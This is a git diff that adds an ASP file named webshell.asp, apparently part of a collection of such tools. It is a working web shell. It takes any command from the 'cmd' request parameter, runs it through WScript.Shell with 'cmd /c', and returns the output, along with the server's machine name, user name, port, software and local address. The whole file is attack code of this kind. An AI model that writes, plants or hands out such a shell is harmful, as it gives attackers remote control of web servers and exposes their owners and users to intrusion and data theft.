diff --git a/asp/webshell.asp b/asp/webshell.asp new file mode 100644 index 0000000..24fc2a1 --- /dev/null +++ b/asp/webshell.asp @@ -0,0 +1,51 @@ + + + +<% +Set oScript = Server.CreateObject("WSCRIPT.SHELL") +Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") +Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") +Function getCommandOutput(theCommand) + Dim objShell, objCmdExec + Set objShell = CreateObject("WScript.Shell") + Set objCmdExec = objshell.exec(thecommand) + getCommandOutput = objCmdExec.StdOut.ReadAll +end Function +%> + + + + +
+ + +
+
+<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
+<%Response.Write(Request.ServerVariables("server_name"))%>
+

+The server's port: +<%Response.Write(Request.ServerVariables("server_port"))%> +

+

+The server's software: +<%Response.Write(Request.ServerVariables("server_software"))%> +

+

+The server's local address: +<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%> +<% szCMD = request("cmd") +thisDir = getCommandOutput("cmd /c" & szCMD) +Response.Write(thisDir)%> +

+
+ +